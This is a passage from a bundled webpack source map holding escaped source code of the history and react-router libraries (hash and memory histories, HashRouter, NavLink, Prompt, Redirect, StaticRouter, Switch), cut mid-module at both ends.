goBack() {\n    return go(-1);\n  };\n\n  var goForward = function goForward() {\n    return go(1);\n  };\n\n  var listenerCount = 0;\n\n  var checkDOMListeners = function checkDOMListeners(delta) {\n    listenerCount += delta;\n\n    if (listenerCount === 1) {\n      addEventListener(window, HashChangeEvent, handleHashChange);\n    } else if (listenerCount === 0) {\n      removeEventListener(window, HashChangeEvent, handleHashChange);\n    }\n  };\n\n  var isBlocked = false;\n\n  var block = function block() {\n    var prompt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;\n\n    var unblock = transitionManager.setPrompt(prompt);\n\n    if (!isBlocked) {\n      checkDOMListeners(1);\n      isBlocked = true;\n    }\n\n    return function () {\n      if (isBlocked) {\n        isBlocked = false;\n        checkDOMListeners(-1);\n      }\n\n      return unblock();\n    };\n  };\n\n  var listen = function listen(listener) {\n    var unlisten = transitionManager.appendListener(listener);\n    checkDOMListeners(1);\n\n    return function () {\n      checkDOMListeners(-1);\n      unlisten();\n    };\n  };\n\n  var history = {\n    length: globalHistory.length,\n    action: 'POP',\n    location: initialLocation,\n    createHref: createHref,\n    push: push,\n    replace: replace,\n    go: go,\n    goBack: goBack,\n    goForward: goForward,\n    block: block,\n    listen: listen\n  };\n\n  return history;\n};\n\nexport default createHashHistory;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/history/es/createHashHistory.js\n// module id = 143\n// module chunks = 0 1 2 3 4","var _typeof = typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; };\n\nvar _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nimport warning from 'warning';\nimport { createPath } from './PathUtils';\nimport { createLocation } from './LocationUtils';\nimport createTransitionManager from './createTransitionManager';\n\nvar clamp = function clamp(n, lowerBound, upperBound) {\n  return Math.min(Math.max(n, lowerBound), upperBound);\n};\n\n/**\n * Creates a history object that stores locations in memory.\n */\nvar createMemoryHistory = function createMemoryHistory() {\n  var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n  var getUserConfirmation = props.getUserConfirmation,\n      _props$initialEntries = props.initialEntries,\n      initialEntries = _props$initialEntries === undefined ? ['/'] : _props$initialEntries,\n      _props$initialIndex = props.initialIndex,\n      initialIndex = _props$initialIndex === undefined ? 0 : _props$initialIndex,\n      _props$keyLength = props.keyLength,\n      keyLength = _props$keyLength === undefined ? 6 : _props$keyLength;\n\n\n  var transitionManager = createTransitionManager();\n\n  var setState = function setState(nextState) {\n    _extends(history, nextState);\n\n    history.length = history.entries.length;\n\n    transitionManager.notifyListeners(history.location, history.action);\n  };\n\n  var createKey = function createKey() {\n    return Math.random().toString(36).substr(2, keyLength);\n  };\n\n  var index = clamp(initialIndex, 0, initialEntries.length - 1);\n  var entries = initialEntries.map(function (entry) {\n    return typeof entry === 'string' ? createLocation(entry, undefined, createKey()) : createLocation(entry, undefined, entry.key || createKey());\n  });\n\n  // Public interface\n\n  var createHref = createPath;\n\n  var push = function push(path, state) {\n    warning(!((typeof path === 'undefined' ? 'undefined' : _typeof(path)) === 'object' && path.state !== undefined && state !== undefined), 'You should avoid providing a 2nd state argument to push when the 1st ' + 'argument is a location-like object that already has state; it is ignored');\n\n    var action = 'PUSH';\n    var location = createLocation(path, state, createKey(), history.location);\n\n    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {\n      if (!ok) return;\n\n      var prevIndex = history.index;\n      var nextIndex = prevIndex + 1;\n\n      var nextEntries = history.entries.slice(0);\n      if (nextEntries.length > nextIndex) {\n        nextEntries.splice(nextIndex, nextEntries.length - nextIndex, location);\n      } else {\n        nextEntries.push(location);\n      }\n\n      setState({\n        action: action,\n        location: location,\n        index: nextIndex,\n        entries: nextEntries\n      });\n    });\n  };\n\n  var replace = function replace(path, state) {\n    warning(!((typeof path === 'undefined' ? 'undefined' : _typeof(path)) === 'object' && path.state !== undefined && state !== undefined), 'You should avoid providing a 2nd state argument to replace when the 1st ' + 'argument is a location-like object that already has state; it is ignored');\n\n    var action = 'REPLACE';\n    var location = createLocation(path, state, createKey(), history.location);\n\n    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {\n      if (!ok) return;\n\n      history.entries[history.index] = location;\n\n      setState({ action: action, location: location });\n    });\n  };\n\n  var go = function go(n) {\n    var nextIndex = clamp(history.index + n, 0, history.entries.length - 1);\n\n    var action = 'POP';\n    var location = history.entries[nextIndex];\n\n    transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {\n      if (ok) {\n        setState({\n          action: action,\n          location: location,\n          index: nextIndex\n        });\n      } else {\n        // Mimic the behavior of DOM histories by\n        // causing a render after a cancelled POP.\n        setState();\n      }\n    });\n  };\n\n  var goBack = function goBack() {\n    return go(-1);\n  };\n\n  var goForward = function goForward() {\n    return go(1);\n  };\n\n  var canGo = function canGo(n) {\n    var nextIndex = history.index + n;\n    return nextIndex >= 0 && nextIndex < history.entries.length;\n  };\n\n  var block = function block() {\n    var prompt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;\n    return transitionManager.setPrompt(prompt);\n  };\n\n  var listen = function listen(listener) {\n    return transitionManager.appendListener(listener);\n  };\n\n  var history = {\n    length: entries.length,\n    action: 'POP',\n    location: entries[index],\n    index: index,\n    entries: entries,\n    createHref: createHref,\n    push: push,\n    replace: replace,\n    go: go,\n    goBack: goBack,\n    goForward: goForward,\n    canGo: canGo,\n    block: block,\n    listen: listen\n  };\n\n  return history;\n};\n\nexport default createMemoryHistory;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/history/es/createMemoryHistory.js\n// module id = 144\n// module chunks = 0 1 2 3 4","function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nimport warning from \"warning\";\nimport React from \"react\";\nimport PropTypes from \"prop-types\";\nimport { createHashHistory as createHistory } from \"history\";\nimport Router from \"./Router\";\n\n/**\n * The public API for a <Router> that uses window.location.hash.\n */\n\nvar HashRouter = function (_React$Component) {\n  _inherits(HashRouter, _React$Component);\n\n  function HashRouter() {\n    var _temp, _this, _ret;\n\n    _classCallCheck(this, HashRouter);\n\n    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n      args[_key] = arguments[_key];\n    }\n\n    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.history = createHistory(_this.props), _temp), _possibleConstructorReturn(_this, _ret);\n  }\n\n  HashRouter.prototype.componentWillMount = function componentWillMount() {\n    warning(!this.props.history, \"<HashRouter> ignores the history prop. To use a custom history, \" + \"use `import { Router }` instead of `import { HashRouter as Router }`.\");\n  };\n\n  HashRouter.prototype.render = function render() {\n    return React.createElement(Router, { history: this.history, children: this.props.children });\n  };\n\n  return HashRouter;\n}(React.Component);\n\nHashRouter.propTypes = {\n  basename: PropTypes.string,\n  getUserConfirmation: PropTypes.func,\n  hashType: PropTypes.oneOf([\"hashbang\", \"noslash\", \"slash\"]),\n  children: PropTypes.node\n};\n\n\nexport default HashRouter;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/HashRouter.js\n// module id = 145\n// module chunks = 0 1 2 3 4","// Written in this round about way for babel-transform-imports\nimport MemoryRouter from \"react-router/es/MemoryRouter\";\n\nexport default MemoryRouter;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/MemoryRouter.js\n// module id = 146\n// module chunks = 0 1 2 3 4","function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nimport warning from \"warning\";\nimport React from \"react\";\nimport PropTypes from \"prop-types\";\nimport { createMemoryHistory as createHistory } from \"history\";\nimport Router from \"./Router\";\n\n/**\n * The public API for a <Router> that stores location in memory.\n */\n\nvar MemoryRouter = function (_React$Component) {\n  _inherits(MemoryRouter, _React$Component);\n\n  function MemoryRouter() {\n    var _temp, _this, _ret;\n\n    _classCallCheck(this, MemoryRouter);\n\n    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n      args[_key] = arguments[_key];\n    }\n\n    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.history = createHistory(_this.props), _temp), _possibleConstructorReturn(_this, _ret);\n  }\n\n  MemoryRouter.prototype.componentWillMount = function componentWillMount() {\n    warning(!this.props.history, \"<MemoryRouter> ignores the history prop. To use a custom history, \" + \"use `import { Router }` instead of `import { MemoryRouter as Router }`.\");\n  };\n\n  MemoryRouter.prototype.render = function render() {\n    return React.createElement(Router, { history: this.history, children: this.props.children });\n  };\n\n  return MemoryRouter;\n}(React.Component);\n\nMemoryRouter.propTypes = {\n  initialEntries: PropTypes.array,\n  initialIndex: PropTypes.number,\n  getUserConfirmation: PropTypes.func,\n  keyLength: PropTypes.number,\n  children: PropTypes.node\n};\n\n\nexport default MemoryRouter;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router/es/MemoryRouter.js\n// module id = 147\n// module chunks = 0 1 2 3 4","var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nvar _typeof = typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; };\n\nfunction _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }\n\nimport React from \"react\";\nimport PropTypes from \"prop-types\";\nimport Route from \"./Route\";\nimport Link from \"./Link\";\n\n/**\n * A <Link> wrapper that knows if it's \"active\" or not.\n */\nvar NavLink = function NavLink(_ref) {\n  var to = _ref.to,\n      exact = _ref.exact,\n      strict = _ref.strict,\n      location = _ref.location,\n      activeClassName = _ref.activeClassName,\n      className = _ref.className,\n      activeStyle = _ref.activeStyle,\n      style = _ref.style,\n      getIsActive = _ref.isActive,\n      ariaCurrent = _ref[\"aria-current\"],\n      rest = _objectWithoutProperties(_ref, [\"to\", \"exact\", \"strict\", \"location\", \"activeClassName\", \"className\", \"activeStyle\", \"style\", \"isActive\", \"aria-current\"]);\n\n  var path = (typeof to === \"undefined\" ? \"undefined\" : _typeof(to)) === \"object\" ? to.pathname : to;\n\n  // Regex taken from: https://github.com/pillarjs/path-to-regexp/blob/master/index.js#L202\n  var escapedPath = path && path.replace(/([.+*?=^!:${}()[\\]|/\\\\])/g, \"\\\\$1\");\n\n  return React.createElement(Route, {\n    path: escapedPath,\n    exact: exact,\n    strict: strict,\n    location: location,\n    children: function children(_ref2) {\n      var location = _ref2.location,\n          match = _ref2.match;\n\n      var isActive = !!(getIsActive ? getIsActive(match, location) : match);\n\n      return React.createElement(Link, _extends({\n        to: to,\n        className: isActive ? [className, activeClassName].filter(function (i) {\n          return i;\n        }).join(\" \") : className,\n        style: isActive ? _extends({}, style, activeStyle) : style,\n        \"aria-current\": isActive && ariaCurrent || null\n      }, rest));\n    }\n  });\n};\n\nNavLink.propTypes = {\n  to: Link.propTypes.to,\n  exact: PropTypes.bool,\n  strict: PropTypes.bool,\n  location: PropTypes.object,\n  activeClassName: PropTypes.string,\n  className: PropTypes.string,\n  activeStyle: PropTypes.object,\n  style: PropTypes.object,\n  isActive: PropTypes.func,\n  \"aria-current\": PropTypes.oneOf([\"page\", \"step\", \"location\", \"date\", \"time\", \"true\"])\n};\n\nNavLink.defaultProps = {\n  activeClassName: \"active\",\n  \"aria-current\": \"page\"\n};\n\nexport default NavLink;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/NavLink.js\n// module id = 148\n// module chunks = 0 1 2 3 4","module.exports = Array.isArray || function (arr) {\n  return Object.prototype.toString.call(arr) == '[object Array]';\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/isarray/index.js\n// module id = 149\n// module chunks = 0 1 2 3 4","// Written in this round about way for babel-transform-imports\nimport Prompt from \"react-router/es/Prompt\";\n\nexport default Prompt;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/Prompt.js\n// module id = 150\n// module chunks = 0 1 2 3 4","function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nimport React from \"react\";\nimport PropTypes from \"prop-types\";\nimport invariant from \"invariant\";\n\n/**\n * The public API for prompting the user before navigating away\n * from a screen with a component.\n */\n\nvar Prompt = function (_React$Component) {\n  _inherits(Prompt, _React$Component);\n\n  function Prompt() {\n    _classCallCheck(this, Prompt);\n\n    return _possibleConstructorReturn(this, _React$Component.apply(this, arguments));\n  }\n\n  Prompt.prototype.enable = function enable(message) {\n    if (this.unblock) this.unblock();\n\n    this.unblock = this.context.router.history.block(message);\n  };\n\n  Prompt.prototype.disable = function disable() {\n    if (this.unblock) {\n      this.unblock();\n      this.unblock = null;\n    }\n  };\n\n  Prompt.prototype.componentWillMount = function componentWillMount() {\n    invariant(this.context.router, \"You should not use <Prompt> outside a <Router>\");\n\n    if (this.props.when) this.enable(this.props.message);\n  };\n\n  Prompt.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) {\n    if (nextProps.when) {\n      if (!this.props.when || this.props.message !== nextProps.message) this.enable(nextProps.message);\n    } else {\n      this.disable();\n    }\n  };\n\n  Prompt.prototype.componentWillUnmount = function componentWillUnmount() {\n    this.disable();\n  };\n\n  Prompt.prototype.render = function render() {\n    return null;\n  };\n\n  return Prompt;\n}(React.Component);\n\nPrompt.propTypes = {\n  when: PropTypes.bool,\n  message: PropTypes.oneOfType([PropTypes.func, PropTypes.string]).isRequired\n};\nPrompt.defaultProps = {\n  when: true\n};\nPrompt.contextTypes = {\n  router: PropTypes.shape({\n    history: PropTypes.shape({\n      block: PropTypes.func.isRequired\n    }).isRequired\n  }).isRequired\n};\n\n\nexport default Prompt;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router/es/Prompt.js\n// module id = 151\n// module chunks = 0 1 2 3 4","// Written in this round about way for babel-transform-imports\nimport Redirect from \"react-router/es/Redirect\";\n\nexport default Redirect;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/Redirect.js\n// module id = 152\n// module chunks = 0 1 2 3 4","var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nimport React from \"react\";\nimport PropTypes from \"prop-types\";\nimport warning from \"warning\";\nimport invariant from \"invariant\";\nimport { createLocation, locationsAreEqual } from \"history\";\nimport generatePath from \"./generatePath\";\n\n/**\n * The public API for updating the location programmatically\n * with a component.\n */\n\nvar Redirect = function (_React$Component) {\n  _inherits(Redirect, _React$Component);\n\n  function Redirect() {\n    _classCallCheck(this, Redirect);\n\n    return _possibleConstructorReturn(this, _React$Component.apply(this, arguments));\n  }\n\n  Redirect.prototype.isStatic = function isStatic() {\n    return this.context.router && this.context.router.staticContext;\n  };\n\n  Redirect.prototype.componentWillMount = function componentWillMount() {\n    invariant(this.context.router, \"You should not use <Redirect> outside a <Router>\");\n\n    if (this.isStatic()) this.perform();\n  };\n\n  Redirect.prototype.componentDidMount = function componentDidMount() {\n    if (!this.isStatic()) this.perform();\n  };\n\n  Redirect.prototype.componentDidUpdate = function componentDidUpdate(prevProps) {\n    var prevTo = createLocation(prevProps.to);\n    var nextTo = createLocation(this.props.to);\n\n    if (locationsAreEqual(prevTo, nextTo)) {\n      warning(false, \"You tried to redirect to the same route you're currently on: \" + (\"\\\"\" + nextTo.pathname + nextTo.search + \"\\\"\"));\n      return;\n    }\n\n    this.perform();\n  };\n\n  Redirect.prototype.computeTo = function computeTo(_ref) {\n    var computedMatch = _ref.computedMatch,\n        to = _ref.to;\n\n    if (computedMatch) {\n      if (typeof to === \"string\") {\n        return generatePath(to, computedMatch.params);\n      } else {\n        return _extends({}, to, {\n          pathname: generatePath(to.pathname, computedMatch.params)\n        });\n      }\n    }\n\n    return to;\n  };\n\n  Redirect.prototype.perform = function perform() {\n    var history = this.context.router.history;\n    var push = this.props.push;\n\n    var to = this.computeTo(this.props);\n\n    if (push) {\n      history.push(to);\n    } else {\n      history.replace(to);\n    }\n  };\n\n  Redirect.prototype.render = function render() {\n    return null;\n  };\n\n  return Redirect;\n}(React.Component);\n\nRedirect.propTypes = {\n  computedMatch: PropTypes.object, // private, from <Switch>\n  push: PropTypes.bool,\n  from: PropTypes.string,\n  to: PropTypes.oneOfType([PropTypes.string, PropTypes.object]).isRequired\n};\nRedirect.defaultProps = {\n  push: false\n};\nRedirect.contextTypes = {\n  router: PropTypes.shape({\n    history: PropTypes.shape({\n      push: PropTypes.func.isRequired,\n      replace: PropTypes.func.isRequired\n    }).isRequired,\n    staticContext: PropTypes.object\n  }).isRequired\n};\n\n\nexport default Redirect;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router/es/Redirect.js\n// module id = 153\n// module chunks = 0 1 2 3 4","// Written in this round about way for babel-transform-imports\nimport StaticRouter from \"react-router/es/StaticRouter\";\n\nexport default StaticRouter;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/StaticRouter.js\n// module id = 154\n// module chunks = 0 1 2 3 4","var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nfunction _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nimport warning from \"warning\";\nimport invariant from \"invariant\";\nimport React from \"react\";\nimport PropTypes from \"prop-types\";\nimport { createLocation, createPath } from \"history\";\nimport Router from \"./Router\";\n\nvar addLeadingSlash = function addLeadingSlash(path) {\n  return path.charAt(0) === \"/\" ? path : \"/\" + path;\n};\n\nvar addBasename = function addBasename(basename, location) {\n  if (!basename) return location;\n\n  return _extends({}, location, {\n    pathname: addLeadingSlash(basename) + location.pathname\n  });\n};\n\nvar stripBasename = function stripBasename(basename, location) {\n  if (!basename) return location;\n\n  var base = addLeadingSlash(basename);\n\n  if (location.pathname.indexOf(base) !== 0) return location;\n\n  return _extends({}, location, {\n    pathname: location.pathname.substr(base.length)\n  });\n};\n\nvar createURL = function createURL(location) {\n  return typeof location === \"string\" ? location : createPath(location);\n};\n\nvar staticHandler = function staticHandler(methodName) {\n  return function () {\n    invariant(false, \"You cannot %s with <StaticRouter>\", methodName);\n  };\n};\n\nvar noop = function noop() {};\n\n/**\n * The public top-level API for a \"static\" <Router>, so-called because it\n * can't actually change the current location. Instead, it just records\n * location changes in a context object. Useful mainly in testing and\n * server-rendering scenarios.\n */\n\nvar StaticRouter = function (_React$Component) {\n  _inherits(StaticRouter, _React$Component);\n\n  function StaticRouter() {\n    var _temp, _this, _ret;\n\n    _classCallCheck(this, StaticRouter);\n\n    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n      args[_key] = arguments[_key];\n    }\n\n    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.createHref = function (path) {\n      return addLeadingSlash(_this.props.basename + createURL(path));\n    }, _this.handlePush = function (location) {\n      var _this$props = _this.props,\n          basename = _this$props.basename,\n          context = _this$props.context;\n\n      context.action = \"PUSH\";\n      context.location = addBasename(basename, createLocation(location));\n      context.url = createURL(context.location);\n    }, _this.handleReplace = function (location) {\n      var _this$props2 = _this.props,\n          basename = _this$props2.basename,\n          context = _this$props2.context;\n\n      context.action = \"REPLACE\";\n      context.location = addBasename(basename, createLocation(location));\n      context.url = createURL(context.location);\n    }, _this.handleListen = function () {\n      return noop;\n    }, _this.handleBlock = function () {\n      return noop;\n    }, _temp), _possibleConstructorReturn(_this, _ret);\n  }\n\n  StaticRouter.prototype.getChildContext = function getChildContext() {\n    return {\n      router: {\n        staticContext: this.props.context\n      }\n    };\n  };\n\n  StaticRouter.prototype.componentWillMount = function componentWillMount() {\n    warning(!this.props.history, \"<StaticRouter> ignores the history prop. To use a custom history, \" + \"use `import { Router }` instead of `import { StaticRouter as Router }`.\");\n  };\n\n  StaticRouter.prototype.render = function render() {\n    var _props = this.props,\n        basename = _props.basename,\n        context = _props.context,\n        location = _props.location,\n        props = _objectWithoutProperties(_props, [\"basename\", \"context\", \"location\"]);\n\n    var history = {\n      createHref: this.createHref,\n      action: \"POP\",\n      location: stripBasename(basename, createLocation(location)),\n      push: this.handlePush,\n      replace: this.handleReplace,\n      go: staticHandler(\"go\"),\n      goBack: staticHandler(\"goBack\"),\n      goForward: staticHandler(\"goForward\"),\n      listen: this.handleListen,\n      block: this.handleBlock\n    };\n\n    return React.createElement(Router, _extends({}, props, { history: history }));\n  };\n\n  return StaticRouter;\n}(React.Component);\n\nStaticRouter.propTypes = {\n  basename: PropTypes.string,\n  context: PropTypes.object.isRequired,\n  location: PropTypes.oneOfType([PropTypes.string, PropTypes.object])\n};\nStaticRouter.defaultProps = {\n  basename: \"\",\n  location: \"/\"\n};\nStaticRouter.childContextTypes = {\n  router: PropTypes.object.isRequired\n};\n\n\nexport default StaticRouter;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router/es/StaticRouter.js\n// module id = 155\n// module chunks = 0 1 2 3 4","// Written in this round about way for babel-transform-imports\nimport Switch from \"react-router/es/Switch\";\n\nexport default Switch;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/Switch.js\n// module id = 156\n// module chunks = 0 1 2 3 4","function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nimport React from \"react\";\nimport PropTypes from \"prop-types\";\nimport warning from \"warning\";\nimport invariant from \"invariant\";\nimport matchPath from \"./matchPath\";\n\n/**\n * The public API for rendering the first <Route> that matches.\n */\n\nvar Switch = function (_React$Component) {\n  _inherits(Switch, _React$Component);\n\n  function Switch() {\n    _classCallCheck(this, Switch);\n\n    return _possibleConstructorReturn(this, _React$Component.apply(this, arguments));\n  }\n\n  Switch.prototype.componentWillMount = function componentWillMount() {\n    invariant(this.context.router, \"You should not use <Switch> outside a <Router>\");\n  };\n\n  Switch.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) {\n    warning(!(nextProps.location && !this.props.location), '<Switch> elements should not change from uncontrolled to controlled (or vice versa). You initially used no \"location\" prop and then provided one on a subsequent render.');\n\n    warning(!(!nextProps.location && this.props.location), '<Switch> elements should not change from controlled to uncontrolled (or vice versa). You provided a \"location\" prop initially but omitted it on a subsequent render.');\n  };\n\n  Switch.prototype.render = function render() {\n    var route = this.context.router.route;\n    var children = this.props.children;\n\n    var location = this.props.location || route.location;\n\n    var match = void 0,\n        child = void 0;\n    React.Children.forEach(children, function (element) {\n      if (match == null && React.isValidElement(element)) {\n        var _element$props = element.props,\n            pathProp = _element$props.path,\n            exact = _element$props.exact,\n            strict = _element$props.strict,\n            sensitive = _element$props.sensitive,\n            from = _element$props.from;\n\n        var path = pathProp || from;\n\n        child = element;\n        match = matchPath(location.pathname, { path: path, exact: exact, strict: strict, sensitive: sensitive }, route.match);\n      }\n    });\n\n    return match ? React.cloneElement(child, { location: location, computedMatch: match }) : null;\n  };\n\n  return Switch;\n}(React.Component);\n\nSwitch.contextTypes = {\n  router: PropTypes.shape({\n    route: PropTypes.object.isRequired\n  }).isRequired\n};\nSwitch.propTypes = {\n  children: PropTypes.node,\n  location: PropTypes.object\n};\n\n\nexport default Switch;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router/es/Switch.js\n// module id = 157\n// module chunks = 0 1 2 3 4","// Written in this round about way for babel-transform-imports\nimport generatePath from \"react-router/es/generatePath\";\n\nexport default generatePath;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/generatePath.js\n// module id = 158\n// module chunks = 0 1 2 3 4","// Written in this round about way for babel-transform-imports\nimport matchPath from \"react-router/es/matchPath\";\n\nexport default matchPath;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/matchPath.js\n// module id = 159\n// module chunks = 0 1 2 3 4","// Written in this round about way for babel-transform-imports\nimport withRouter from \"react-router/es/withRouter\";\n\nexport default withRouter;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/withRouter.js\n// module id = 160\n// module chunks = 0 1 2 3 4","var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nfunction _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }\n\nimport React from \"react\";\nimport PropTypes from \"prop-types\";\nimport hoistStatics from \"hoist-non-react-statics\";\nimport Route from \"./Route\";\n\n/**\n * A public higher-order component to access the imperative API\n */\nvar withRouter = function withRouter(Component) {\n  var C = function C(props) {\n    var wrappedComponentRef = props.wrappedComponentRef,\n        remainingProps = _objectWithoutProperties(props, [\"wrappedComponentRef\"]);\n\n 